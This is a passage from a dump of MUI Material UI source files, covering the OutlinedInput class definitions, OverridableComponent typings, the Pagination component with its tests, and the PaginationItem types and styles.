    "path": "packages/mui-material/src/OutlinedInput/outlinedInputClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\nimport { inputBaseClasses } from '../InputBase';\n\nexport interface OutlinedInputClasses {\n  /** Styles applied to the root element. */\n  root: string;\n  /** Styles applied to the root element if the color is secondary. */\n  colorSecondary: string;\n  /** Styles applied to the root element if the component is focused. */\n  focused: string;\n  /** Styles applied to the root element if `disabled={true}`. */\n  disabled: string;\n  /** Styles applied to the root element if `startAdornment` is provided. */\n  adornedStart: string;\n  /** Styles applied to the root element if `endAdornment` is provided. */\n  adornedEnd: string;\n  /** State class applied to the root element if `error={true}`. */\n  error: string;\n  /** Styles applied to the input element if `size=\"small\"`. */\n  sizeSmall: string;\n  /** Styles applied to the root element if `multiline={true}`. */\n  multiline: string;\n  /** Styles applied to the NotchedOutline element. */\n  notchedOutline: string;\n  /** Styles applied to the input element. */\n  input: string;\n  /** Styles applied to the input element if `type=\"search\"`. */\n  inputTypeSearch: string;\n}\n\nexport type OutlinedInputClassKey = keyof OutlinedInputClasses;\n\nexport function getOutlinedInputUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiOutlinedInput', slot);\n}\n\nconst outlinedInputClasses: OutlinedInputClasses = {\n  ...inputBaseClasses,\n  ...generateUtilityClasses('MuiOutlinedInput', ['root', 'notchedOutline', 'input']),\n};\n\nexport default outlinedInputClasses;\n"
  },
  {
    "path": "packages/mui-material/src/OverridableComponent/index.ts",
    "content": "import * as React from 'react';\nimport { DistributiveOmit } from '@mui/types';\nimport { StyledComponentProps } from '../styles';\n\n/**\n * A component whose root component can be controlled via a `component` prop.\n *\n * Adjusts valid props based on the type of `component`.\n */\nexport interface OverridableComponent<TypeMap extends OverridableTypeMap> {\n  // If you make any changes to this interface, please make sure to update the\n  // `OverridableComponent` type in `mui-types/index.d.ts` as well.\n  // Also, there are types in Base UI that have a similar shape to this interface\n  // (for example SelectType, OptionType, etc.).\n  <RootComponent extends React.ElementType>(\n    props: {\n      /**\n       * The component used for the root node.\n       * Either a string to use a HTML element or a component.\n       */\n      component: RootComponent;\n    } & OverrideProps<TypeMap, RootComponent>,\n  ): React.JSX.Element | null;\n  (props: DefaultComponentProps<TypeMap>): React.JSX.Element | null;\n}\n\n/**\n * Props of the component if `component={Component}` is used.\n */\n// prettier-ignore\nexport type OverrideProps<\n  TypeMap extends OverridableTypeMap,\n  RootComponent extends React.ElementType\n> = (\n  & BaseProps<TypeMap>\n  & DistributiveOmit<React.ComponentPropsWithRef<RootComponent>, keyof BaseProps<TypeMap>>\n);\n\n/**\n * Props if `component={Component}` is NOT used.\n */\n// prettier-ignore\nexport type DefaultComponentProps<TypeMap extends OverridableTypeMap> =\n  & BaseProps<TypeMap>\n  & DistributiveOmit<React.ComponentPropsWithRef<TypeMap['defaultComponent']>, keyof BaseProps<TypeMap>>;\n\n/**\n * Props defined on the component (+ common material-ui props).\n */\n// prettier-ignore\nexport type BaseProps<TypeMap extends OverridableTypeMap> =\n  & TypeMap['props']\n  & CommonProps;\n\n/**\n * Props that are valid for material-ui components.\n */\n// each component declares it's classes in a separate interface for proper JSDoc.\nexport interface CommonProps extends StyledComponentProps<never> {\n  className?: string | undefined;\n  style?: React.CSSProperties | undefined;\n}\n\nexport interface OverridableTypeMap {\n  props: {};\n  defaultComponent: React.ElementType;\n}\n"
  },
  {
    "path": "packages/mui-material/src/Pagination/Pagination.d.ts",
    "content": "import * as React from 'react';\nimport { OverridableStringUnion } from '@mui/types';\nimport { SxProps } from '@mui/system';\nimport { Theme } from '../styles';\nimport { InternalStandardProps as StandardProps } from '../internal';\nimport { UsePaginationItem, UsePaginationProps } from '../usePagination/usePagination';\nimport { PaginationClasses } from './paginationClasses';\n\nexport interface PaginationRenderItemParams extends UsePaginationItem {\n  color: PaginationProps['color'];\n  shape: PaginationProps['shape'];\n  size: PaginationProps['size'];\n  variant: PaginationProps['variant'];\n}\n\nexport interface PaginationPropsVariantOverrides {}\n\nexport interface PaginationPropsSizeOverrides {}\n\nexport interface PaginationPropsColorOverrides {}\n\nexport interface PaginationProps\n  extends\n    UsePaginationProps,\n    StandardProps<React.HTMLAttributes<HTMLElement>, 'children' | 'onChange'> {\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<PaginationClasses> | undefined;\n  /**\n   * The active color.\n   * It supports both default and custom theme colors, which can be added as shown in the\n   * [palette customization guide](https://mui.com/material-ui/customization/palette/#custom-colors).\n   * @default 'standard'\n   */\n  color?:\n    | OverridableStringUnion<'primary' | 'secondary' | 'standard', PaginationPropsColorOverrides>\n    | undefined;\n  /**\n   * Accepts a function which returns a string value that provides a user-friendly name for the current page.\n   * This is important for screen reader users.\n   *\n   * For localization purposes, you can use the provided [translations](https://mui.com/material-ui/guides/localization/).\n   * @param {string} type The link or button type to format ('page' | 'first' | 'last' | 'next' | 'previous' | 'start-ellipsis' | 'end-ellipsis'). Defaults to 'page'.\n   * @param {number | null} page The page number to format.\n   * @param {boolean} selected If true, the current page is selected.\n   * @returns {string}\n   */\n  getItemAriaLabel?:\n    | ((\n        type: UsePaginationItem['type'],\n        page: UsePaginationItem['page'],\n        selected: UsePaginationItem['selected'],\n      ) => string)\n    | undefined;\n\n  /**\n   * Render the item.\n   * @param {PaginationRenderItemParams} params The props to spread on a PaginationItem.\n   * @returns {ReactNode}\n   * @default (item) => <PaginationItem {...item} />\n   */\n  renderItem?: ((params: PaginationRenderItemParams) => React.ReactNode) | undefined;\n  /**\n   * The shape of the pagination items.\n   * @default 'circular'\n   */\n  shape?: 'circular' | 'rounded' | undefined;\n  /**\n   * The size of the component.\n   * @default 'medium'\n   */\n  size?:\n    | OverridableStringUnion<'small' | 'medium' | 'large', PaginationPropsSizeOverrides>\n    | undefined;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n  /**\n   * The variant to use.\n   * @default 'text'\n   */\n  variant?:\n    | OverridableStringUnion<'text' | 'outlined', PaginationPropsVariantOverrides>\n    | undefined;\n}\n\n/**\n *\n * Demos:\n *\n * - [Pagination](https://next.mui.com/material-ui/react-pagination/)\n *\n * API:\n *\n * - [Pagination API](https://next.mui.com/material-ui/api/pagination/)\n */\nexport default function Pagination(props: PaginationProps): React.JSX.Element;\n"
  },
  {
    "path": "packages/mui-material/src/Pagination/Pagination.js",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport composeClasses from '@mui/utils/composeClasses';\nimport integerPropType from '@mui/utils/integerPropType';\nimport { getPaginationUtilityClass } from './paginationClasses';\nimport usePagination from '../usePagination';\nimport PaginationItem from '../PaginationItem';\nimport { styled } from '../zero-styled';\nimport { useDefaultProps } from '../DefaultPropsProvider';\n\nconst useUtilityClasses = (ownerState) => {\n  const { classes, variant } = ownerState;\n\n  const slots = {\n    root: ['root', variant],\n    ul: ['ul'],\n  };\n\n  return composeClasses(slots, getPaginationUtilityClass, classes);\n};\n\nconst PaginationRoot = styled('nav', {\n  name: 'MuiPagination',\n  slot: 'Root',\n  overridesResolver: (props, styles) => {\n    const { ownerState } = props;\n\n    return [styles.root, styles[ownerState.variant]];\n  },\n})({});\n\nconst PaginationUl = styled('ul', {\n  name: 'MuiPagination',\n  slot: 'Ul',\n})({\n  display: 'flex',\n  flexWrap: 'wrap',\n  alignItems: 'center',\n  padding: 0,\n  margin: 0,\n  listStyle: 'none',\n});\n\nfunction defaultGetAriaLabel(type, page, selected) {\n  if (type === 'page') {\n    return `${selected ? '' : 'Go to '}page ${page}`;\n  }\n  return `Go to ${type} page`;\n}\n\nconst Pagination = React.forwardRef(function Pagination(inProps, ref) {\n  const props = useDefaultProps({ props: inProps, name: 'MuiPagination' });\n  const {\n    boundaryCount = 1,\n    className,\n    color = 'standard',\n    count = 1,\n    defaultPage = 1,\n    disabled = false,\n    getItemAriaLabel = defaultGetAriaLabel,\n    hideNextButton = false,\n    hidePrevButton = false,\n    onChange,\n    page,\n    renderItem = (item) => <PaginationItem {...item} />,\n    shape = 'circular',\n    showFirstButton = false,\n    showLastButton = false,\n    siblingCount = 1,\n    size = 'medium',\n    variant = 'text',\n    ...other\n  } = props;\n\n  const { items } = usePagination({ ...props, componentName: 'Pagination' });\n\n  const ownerState = {\n    ...props,\n    boundaryCount,\n    color,\n    count,\n    defaultPage,\n    disabled,\n    getItemAriaLabel,\n    hideNextButton,\n    hidePrevButton,\n    renderItem,\n    shape,\n    showFirstButton,\n    showLastButton,\n    siblingCount,\n    size,\n    variant,\n  };\n\n  const classes = useUtilityClasses(ownerState);\n\n  return (\n    <PaginationRoot\n      aria-label=\"pagination navigation\"\n      className={clsx(classes.root, className)}\n      ownerState={ownerState}\n      ref={ref}\n      {...other}\n    >\n      <PaginationUl className={classes.ul} ownerState={ownerState}>\n        {items.map((item, index) => (\n          <li key={index}>\n            {renderItem({\n              ...item,\n              color,\n              'aria-label': getItemAriaLabel(item.type, item.page, item.selected),\n              shape,\n              size,\n              variant,\n            })}\n          </li>\n        ))}\n      </PaginationUl>\n    </PaginationRoot>\n  );\n});\n\n// @default tags synced with default values from usePagination\n\nPagination.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * Number of always visible pages at the beginning and end.\n   * @default 1\n   */\n  boundaryCount: integerPropType,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * The active color.\n   * It supports both default and custom theme colors, which can be added as shown in the\n   * [palette customization guide](https://mui.com/material-ui/customization/palette/#custom-colors).\n   * @default 'standard'\n   */\n  color: PropTypes /* @typescript-to-proptypes-ignore */.oneOfType([\n    PropTypes.oneOf(['primary', 'secondary', 'standard']),\n    PropTypes.string,\n  ]),\n  /**\n   * The total number of pages.\n   * @default 1\n   */\n  count: integerPropType,\n  /**\n   * The page selected by default when the component is uncontrolled.\n   * @default 1\n   */\n  defaultPage: integerPropType,\n  /**\n   * If `true`, the component is disabled.\n   * @default false\n   */\n  disabled: PropTypes.bool,\n  /**\n   * Accepts a function which returns a string value that provides a user-friendly name for the current page.\n   * This is important for screen reader users.\n   *\n   * For localization purposes, you can use the provided [translations](https://mui.com/material-ui/guides/localization/).\n   * @param {string} type The link or button type to format ('page' | 'first' | 'last' | 'next' | 'previous' | 'start-ellipsis' | 'end-ellipsis'). Defaults to 'page'.\n   * @param {number | null} page The page number to format.\n   * @param {boolean} selected If true, the current page is selected.\n   * @returns {string}\n   */\n  getItemAriaLabel: PropTypes.func,\n  /**\n   * If `true`, hide the next-page button.\n   * @default false\n   */\n  hideNextButton: PropTypes.bool,\n  /**\n   * If `true`, hide the previous-page button.\n   * @default false\n   */\n  hidePrevButton: PropTypes.bool,\n  /**\n   * Callback fired when the page is changed.\n   *\n   * @param {React.ChangeEvent<unknown>} event The event source of the callback.\n   * @param {number} page The page selected.\n   */\n  onChange: PropTypes.func,\n  /**\n   * The current page. Unlike `TablePagination`, which starts numbering from `0`, this pagination starts from `1`.\n   */\n  page: integerPropType,\n  /**\n   * Render the item.\n   * @param {PaginationRenderItemParams} params The props to spread on a PaginationItem.\n   * @returns {ReactNode}\n   * @default (item) => <PaginationItem {...item} />\n   */\n  renderItem: PropTypes.func,\n  /**\n   * The shape of the pagination items.\n   * @default 'circular'\n   */\n  shape: PropTypes.oneOf(['circular', 'rounded']),\n  /**\n   * If `true`, show the first-page button.\n   * @default false\n   */\n  showFirstButton: PropTypes.bool,\n  /**\n   * If `true`, show the last-page button.\n   * @default false\n   */\n  showLastButton: PropTypes.bool,\n  /**\n   * Number of always visible pages before and after the current page.\n   * @default 1\n   */\n  siblingCount: integerPropType,\n  /**\n   * The size of the component.\n   * @default 'medium'\n   */\n  size: PropTypes /* @typescript-to-proptypes-ignore */.oneOfType([\n    PropTypes.oneOf(['small', 'medium', 'large']),\n    PropTypes.string,\n  ]),\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n  /**\n   * The variant to use.\n   * @default 'text'\n   */\n  variant: PropTypes /* @typescript-to-proptypes-ignore */.oneOfType([\n    PropTypes.oneOf(['outlined', 'text']),\n    PropTypes.string,\n  ]),\n};\n\nexport default Pagination;\n"
  },
  {
    "path": "packages/mui-material/src/Pagination/Pagination.test.js",
    "content": "import { expect } from 'chai';\nimport { spy } from 'sinon';\nimport { createRenderer, screen } from '@mui/internal-test-utils';\nimport { createTheme, ThemeProvider } from '@mui/material/styles';\nimport Pagination, { paginationClasses as classes } from '@mui/material/Pagination';\nimport { paginationItemClasses } from '@mui/material/PaginationItem';\nimport describeConformance from '../../test/describeConformance';\n\ndescribe('<Pagination />', () => {\n  const { render } = createRenderer();\n\n  describeConformance(<Pagination />, () => ({\n    classes,\n    inheritComponent: 'nav',\n    render,\n    muiName: 'MuiPagination',\n    refInstanceof: window.HTMLElement,\n    testDeepOverrides: { slotName: 'ul', slotClassName: classes.ul },\n    testVariantProps: { variant: 'foo' },\n    testStateOverrides: { prop: 'variant', value: 'outlined', styleKey: 'outlined' },\n    skip: ['componentProp'],\n  }));\n\n  it('should render', () => {\n    const { container } = render(<Pagination />);\n\n    expect(container.firstChild).to.have.class(classes.root);\n  });\n\n  it('moves aria-current to the specified page', () => {\n    const { container } = render(<Pagination count={3} page={1} />);\n\n    // previous, page 1\n    const [, page1] = screen.getAllByRole('button');\n    expect(page1).to.have.attribute('aria-current', 'page');\n    // verifying no regression from previous bug where `page` wasn't intercepted\n    expect(container.querySelector('[page]')).to.equal(null);\n  });\n\n  it('fires onChange when a different page is clicked', () => {\n    const handleChange = spy();\n    render(<Pagination count={3} onChange={handleChange} page={1} />);\n\n    // previous, page 1, page 2\n    const [, , page2] = screen.getAllByRole('button');\n    page2.click();\n\n    expect(handleChange.callCount).to.equal(1);\n  });\n\n  it('should not fire onChange when an ellipsis div is clicked', () => {\n    const handleChange = spy();\n    const { container } = render(<Pagination count={10} onChange={handleChange} page={1} />);\n\n    const ellipsisDiv = container.querySelector(`.${paginationItemClasses.ellipsis}`);\n    ellipsisDiv.click();\n\n    expect(handleChange.callCount).to.equal(0);\n  });\n\n  it('renders controls with correct order in rtl theme', () => {\n    render(\n      <ThemeProvider\n        theme={createTheme({\n          direction: 'rtl',\n        })}\n      >\n        <Pagination count={5} page={3} showFirstButton showLastButton />\n      </ThemeProvider>,\n    );\n\n    const buttons = screen.getAllByRole('button');\n\n    expect(buttons[0].querySelector('svg')).to.have.attribute('data-testid', 'LastPageIcon');\n    expect(buttons[1].querySelector('svg')).to.have.attribute('data-testid', 'NavigateNextIcon');\n    expect(buttons[2].textContent).to.equal('1');\n    expect(buttons[6].textContent).to.equal('5');\n    expect(buttons[7].querySelector('svg')).to.have.attribute('data-testid', 'NavigateBeforeIcon');\n    expect(buttons[8].querySelector('svg')).to.have.attribute('data-testid', 'FirstPageIcon');\n  });\n\n  it('renders correct amount of buttons on correct order when boundaryCount is zero', () => {\n    render(\n      <ThemeProvider\n        theme={createTheme({\n          direction: 'rtl',\n        })}\n      >\n        <Pagination count={11} defaultPage={6} siblingCount={1} boundaryCount={0} />\n      </ThemeProvider>,\n    );\n\n    const buttons = screen.getAllByRole('button');\n    expect(buttons[4].querySelector('svg')).to.have.attribute('data-testid', 'NavigateBeforeIcon');\n    expect(buttons[1].textContent).to.equal('5');\n    expect(buttons[2].textContent).to.equal('6');\n    expect(buttons[3].textContent).to.equal('7');\n    expect(buttons[0].querySelector('svg')).to.have.attribute('data-testid', 'NavigateNextIcon');\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/Pagination/index.d.ts",
    "content": "export { default } from './Pagination';\nexport * from './Pagination';\n\nexport { default as paginationClasses } from './paginationClasses';\nexport * from './paginationClasses';\n"
  },
  {
    "path": "packages/mui-material/src/Pagination/index.js",
    "content": "export { default } from './Pagination';\n\nexport { default as paginationClasses } from './paginationClasses';\nexport * from './paginationClasses';\n"
  },
  {
    "path": "packages/mui-material/src/Pagination/paginationClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface PaginationClasses {\n  /** Styles applied to the root element. */\n  root: string;\n  /** Styles applied to the ul element. */\n  ul: string;\n  /** Styles applied to the root element if `variant=\"outlined\"`. */\n  outlined: string;\n  /** Styles applied to the root element if `variant=\"text\"`. */\n  text: string;\n}\n\nexport type PaginationClassKey = keyof PaginationClasses;\n\nexport function getPaginationUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiPagination', slot);\n}\n\nconst paginationClasses: PaginationClasses = generateUtilityClasses('MuiPagination', [\n  'root',\n  'ul',\n  'outlined',\n  'text',\n]);\n\nexport default paginationClasses;\n"
  },
  {
    "path": "packages/mui-material/src/PaginationItem/PaginationItem.d.ts",
    "content": "import * as React from 'react';\nimport { OverridableStringUnion } from '@mui/types';\nimport { SxProps } from '@mui/system';\nimport { OverridableComponent, OverrideProps } from '../OverridableComponent';\nimport { Theme } from '../styles';\nimport { UsePaginationItem } from '../usePagination/usePagination';\nimport { PaginationItemClasses } from './paginationItemClasses';\nimport { CreateSlotsAndSlotProps, SlotProps } from '../utils/types';\n\nexport interface PaginationItemPropsVariantOverrides {}\n\nexport interface PaginationItemPropsSizeOverrides {}\n\nexport interface PaginationItemPropsColorOverrides {}\n\nexport interface PaginationItemFirstSlotPropsOverrides {}\nexport interface PaginationItemLastSlotPropsOverrides {}\nexport interface PaginationItemNextSlotPropsOverrides {}\nexport interface PaginationItemPreviousSlotPropsOverrides {}\n\nexport interface PaginationItemSlots {\n  /**\n   * The component that renders the first page slot.\n   * @default FirstPageIcon\n   */\n  first: React.ElementType;\n  /**\n   * The component that renders the last page slot.\n   * @default LastPageIcon\n   */\n  last: React.ElementType;\n  /**\n   * The component that renders the next page slot.\n   * @default NavigateNextIcon\n   */\n  next: React.ElementType;\n  /**\n   * The component that renders the previous page slot.\n   * @default NavigateBeforeIcon\n   */\n  previous: React.ElementType;\n}\n\nexport type PaginationItemSlotsAndSlotProps = CreateSlotsAndSlotProps<\n  PaginationItemSlots,\n  {\n    /**\n     * Props forwarded to the first page slot.\n     */\n    first: SlotProps<\n      React.ElementType<React.HTMLProps<HTMLElement>>,\n      PaginationItemFirstSlotPropsOverrides,\n      PaginationItemOwnerState\n    >;\n    /**\n     * Props forwarded to the last page slot.\n     */\n    last: SlotProps<\n      React.ElementType<React.HTMLProps<HTMLElement>>,\n      PaginationItemLastSlotPropsOverrides,\n      PaginationItemOwnerState\n    >;\n    /**\n     * Props forwarded to the next page slot.\n     */\n    next: SlotProps<\n      React.ElementType<React.HTMLProps<HTMLElement>>,\n      PaginationItemNextSlotPropsOverrides,\n      PaginationItemOwnerState\n    >;\n    /**\n     * Props forwarded to the previous page slot.\n     */\n    previous: SlotProps<\n      React.ElementType<React.HTMLProps<HTMLElement>>,\n      PaginationItemPreviousSlotPropsOverrides,\n      PaginationItemOwnerState\n    >;\n  }\n>;\n\nexport interface PaginationItemOwnerState extends PaginationItemProps {}\n\nexport interface PaginationItemOwnProps extends PaginationItemSlotsAndSlotProps {\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<PaginationItemClasses> | undefined;\n  /**\n   * The active color.\n   * It supports both default and custom theme colors, which can be added as shown in the\n   * [palette customization guide](https://mui.com/material-ui/customization/palette/#custom-colors).\n   * @default 'standard'\n   */\n  color?:\n    | OverridableStringUnion<\n        'standard' | 'primary' | 'secondary',\n        PaginationItemPropsColorOverrides\n      >\n    | undefined;\n  /**\n   * If `true`, the component is disabled.\n   * @default false\n   */\n  disabled?: boolean | undefined;\n  /**\n   * Whether the custom component should render a native `<button>` element when\n   * rendering a React component with the `component` or `slots` prop.\n   */\n  nativeButton?: boolean | undefined;\n  /**\n   * The current page number.\n   */\n  page?: React.ReactNode;\n  /**\n   * If `true` the pagination item is selected.\n   * @default false\n   */\n  selected?: boolean | undefined;\n  /**\n   * The shape of the pagination item.\n   * @default 'circular'\n   */\n  shape?: 'circular' | 'rounded' | undefined;\n  /**\n   * The size of the component.\n   * @default 'medium'\n   */\n  size?:\n    | OverridableStringUnion<'small' | 'medium' | 'large', PaginationItemPropsSizeOverrides>\n    | undefined;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n  /**\n   * The type of pagination item.\n   * @default 'page'\n   */\n  type?: UsePaginationItem['type'] | undefined;\n  /**\n   * The variant to use.\n   * @default 'text'\n   */\n  variant?:\n    | OverridableStringUnion<'text' | 'outlined', PaginationItemPropsVariantOverrides>\n    | undefined;\n}\n\nexport interface PaginationItemTypeMap<\n  AdditionalProps = {},\n  RootComponent extends React.ElementType = 'div',\n> {\n  props: AdditionalProps & PaginationItemOwnProps;\n  defaultComponent: RootComponent;\n}\n\n/**\n *\n * Demos:\n *\n * - [Pagination](https://next.mui.com/material-ui/react-pagination/)\n *\n * API:\n *\n * - [PaginationItem API](https://next.mui.com/material-ui/api/pagination-item/)\n * - inherits [ButtonBase API](https://next.mui.com/material-ui/api/button-base/)\n */\ndeclare const PaginationItem: OverridableComponent<PaginationItemTypeMap>;\n\nexport type PaginationItemProps<\n  RootComponent extends React.ElementType = PaginationItemTypeMap['defaultComponent'],\n  AdditionalProps = {},\n> = OverrideProps<PaginationItemTypeMap<AdditionalProps, RootComponent>, RootComponent> & {\n  component?: React.ElementType | undefined;\n};\n\nexport default PaginationItem;\n"
  },
  {
    "path": "packages/mui-material/src/PaginationItem/PaginationItem.js",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport composeClasses from '@mui/utils/composeClasses';\nimport { useRtl } from '@mui/system/RtlProvider';\nimport paginationItemClasses, { getPaginationItemUtilityClass } from './paginationItemClasses';\nimport ButtonBase from '../ButtonBase';\nimport capitalize from '../utils/capitalize';\nimport createSimplePaletteValueFilter from '../utils/createSimplePaletteValueFilter';\nimport FirstPageIcon from '../internal/svg-icons/FirstPage';\nimport LastPageIcon from '../internal/svg-icons/LastPage';\nimport NavigateBeforeIcon from '../internal/svg-icons/NavigateBefore';\nimport NavigateNextIcon from '../internal/svg-icons/NavigateNext';\nimport useSlot from '../utils/useSlot';\nimport { styled } from '../zero-styled';\nimport memoTheme from '../utils/memoTheme';\nimport { useDefaultProps } from '../DefaultPropsProvider';\n\nconst overridesResolver = (props, styles) => {\n  const { ownerState } = props;\n\n  return [\n    styles.root,\n    styles[ownerState.variant],\n    styles[`size${capitalize(ownerState.size)}`],\n    ownerState.shape === 'rounded' && styles.rounded,\n    ownerState.type === 'page' && styles.page,\n    (ownerState.type === 'start-ellipsis' || ownerState.type === 'end-ellipsis') && styles.ellipsis,\n    (ownerState.type === 'previous' || ownerState.type === 'next') && styles.previousNext,\n    (ownerState.type === 'first' || ownerState.type === 'last') && styles.firstLast,\n  ];\n};\n\nconst useUtilityClasses = (ownerState) => {\n  const { classes, color, disabled, selected, size, shape, type, variant } = ownerState;\n\n  const slots = {\n    root: [\n      'root',\n      `size${capitalize(size)}`,\n      variant,\n      shape,\n      color !== 'standard' && `color${capitalize(color)}`,\n      disabled && 'disabled',\n      selected && 'selected',\n      {\n        page: 'page',\n        first: 'firstLast',\n        last: 'firstLast',\n        'start-ellipsis': 'ellipsis',\n        'end-ellipsis': 'ellipsis',\n        previous: 'previousNext',\n        next: 'previousNext',\n      }[type],\n    ],\n    icon: ['icon'],\n  };\n\n  return composeClasses(slots, getPaginationItemUtilityClass, classes);\n};\n\nconst PaginationItemEllipsis = styled('div', {\n  name: 'MuiPaginationItem',\n  slot: 'Root',\n  overridesResolver,\n})(\n  memoTheme(({ theme }) => ({\n    ...theme.typography.body2,\n    borderRadius: 32 / 2,\n    textAlign: 'center',\n    boxSizing: 'border-box',\n    minWidth: 32,\n    padding: '0 6px',\n    margin: '0 3px',\n    color: (theme.vars || theme).palette.text.primary,\n    height: 'auto',\n    [`&.${paginationItemClasses.disabled}`]: {\n      opacity: (theme.vars || theme).palette.action.disabledOpacity,\n    },\n    variants: [\n      {\n        props: { size: 'small' },\n        style: {\n          minWidth: 26,\n          borderRadius: 26 / 2,\n          margin: '0 1px',\n          padding: '0 4px',\n        },\n      },\n      {\n        props: { size: 'large' },\n        style: {\n          minWidth: 40,\n          borderRadius: 40 / 2,\n          padding: '0 10px',\n          fontSize: theme.typography.pxToRem(15),\n        },\n      },\n    ],\n  })),\n);\n\nconst PaginationItemPage = styled(ButtonBase, {\n  name: 'MuiPaginationItem',\n  slot: 'Root',\n  overridesResolver,\n})(\n  memoTheme(({ theme }) => ({\n    ...theme.typography.body2,\n    borderRadius: 32 / 2,\n    textAlign: 'center',\n    boxSizing: 'border-box',\n    minWidth: 32,\n    height: 32,\n    padding: '0 6px',\n    margin: '0 3px',\n    color: (theme.vars || theme).palette.text.primary,\n    [`&.${paginationItemClasses.focusVisible}`]: {\n      backgroundColor: (theme.vars || theme).palette.action.focus,\n    },\n    [`&.${paginationItemClasses.disabled}`]: {\n      opacity: (theme.vars || theme).palette.action.disabledOpacity,\n    },\n    transition: theme.transitions.create(['color', 'background-color'], {\n      duration: theme.transitions.duration.short,\n    }),\n    '&:hover': {\n      backgroundColor: (theme.vars || theme).palette.action.hover,\n      // Reset on touch devices, it doesn't add specificity\n      '@media (hover: none)': {\n        backgroundColor: 'transparent',\n      },\n    },\n    [`&.${paginationItemClasses.selected}`]: {\n      backgroundColor: (theme.vars || theme).palette.action.selected,\n      '&:hover': {\n        backgroundColor: theme.alpha(\n          (theme.vars || theme).palette.action.selected,\n          `${(theme.vars || theme).palette.action.selectedOpacity} + ${(theme.vars || theme).palette.action.hoverOpacity}`,\n        ),\n        // Reset on touch devices, it doesn't add specificity\n        '@media (hover: none)': {\n          backgroundColor: (theme.vars || theme).palette.action.selected,\n        },\n      },\n      [`&.${paginationItemClasses.focusVisible}`]: {\n        backgroundColor: theme.alpha(\n          (theme.vars || theme).palette.action.selected,\n          `${(theme.vars || theme).palette.action.selectedOpacity} + ${(theme.vars || theme).palette.action.focusOpacity}`,\n        ),\n      },\n      [`&.${paginationItemClasses.disabled}`]: {\n        opacity: 1,\n        color: (theme.vars || theme).palette.action.disabled,\n        backgroundColor: (theme.vars || theme).palette.action.selected,\n      },\n    },\n    variants: [\n      {\n        props: { size: 'small' },\n        style: {\n          minWidth: 26,\n          height: 26,\n          borderRadius: 26 / 2,\n          margin: '0 1px',\n          padding: '0 4px',\n        },\n      },\n      {\n        props: { size: 'large' },\n        style: {\n          minWidth: 40,\n          height: 40,\n          borderRadius: 40 / 2,\n          padding: '0 10px',\n          fontSize: theme.typography.pxToRem(15),\n        },\n      },\n      {\n        props: { shape: 'rounded' },\n        style: {\n          borderRadius: (theme.vars || theme).shape.borderRadius,\n        },\n      },\n      {\n        props: { variant: 'outlined' },\n        style: {\n          border: theme.vars\n            ? `1px solid ${theme.alpha(theme.vars.palette.common.onBackground, 0.23)}`\n            : `1px solid ${\n                theme.palette.mode === 'light' ? 'rgba(0, 0, 0, 0.23)' : 'rgba(255, 255, 255, 0.23)'\n              }`,\n          [`&.${paginationItemClasses.selected}`]: {\n            [`&.${paginationItemClasses.disabled}`]: {\n              borderColor: (theme.vars || theme).palette.action.disabledBackground,\n              color: (theme.vars || theme).palette.action.disabled,\n            },\n          },\n        },\n      },\n      {\n        props: { variant: 'text' },\n        style: {\n          [`&.${paginationItemClasses.selected}`]: {\n            [`&.${paginationItemClasses.disabled}`]: {\n              color: (theme.vars || theme).palette.action.disabled,\n            },\n          },\n        },\n      },\n      ...Object.entries(theme.palette)\n        .filter(createSimplePaletteValueFilter(['dark', 'contrastText']))\n        .map(([color]) => ({\n          props: { variant: 'text', color },\n          style: {\n            [`&.${paginationItemClasses.selected}`]: {\n              color: (theme.vars || theme).palette[color].contrastText,\n              backgroundColor: (theme.vars || theme).palette[color].main,\n              '&:hover': {\n                backgroundColor: (theme.vars || theme).palette[color].dark,\n                // Reset on touch devices, it doesn't add specificity\n                '@media (hover: none)': {\n                  backgroundColor: (theme.vars || theme).palette[color].main,\n                },\n              },\n              [`&.${paginationItemClasses.focusVisible}`]: {\n                backgroundColor: (theme.vars || theme).palette[color].dark,\n              },\n              [`&.${paginationItemClasses.disabled}`]: {\n                color: (theme.vars || theme).palette.action.disabled,\n              },\n            },\n          },\n        })),\n      ...Object.entries(theme.palette)\n        .filter(createSimplePaletteValueFilter(['light']))\n        .map(([color]) => ({\n          props: { variant: 'outlined', color },\n          style: {\n            [`&.${paginationItemClasses.selected}`]: {\n              color: (theme.vars || theme).palette[color].main,\n              border: `1px solid ${theme.alpha((theme.vars || theme).palette[color].main, 0.5)}`,\n              backgroundColor: theme.alpha(\n                (theme.vars || theme).palette[color].main,\n                (theme.vars || theme).palette.action.activatedOpacity,\n              ),\n              '&:hover': {\n                backgroundColor: theme.alpha(\n                  (theme.vars || theme).palette[color].main,\n                  `${(theme.vars || theme).palette.action.activatedOpacity} + ${(theme.vars || theme).palette.action.focusOpacity}`,\n                ),\n                // Reset on touch devices, it doesn't add specificity\n                '@media (hover: none)': {\n                  backgroundColor: 'transparent',\n                },\n              },\n              [`&.${paginationItemClasses.focusVisible}`]: 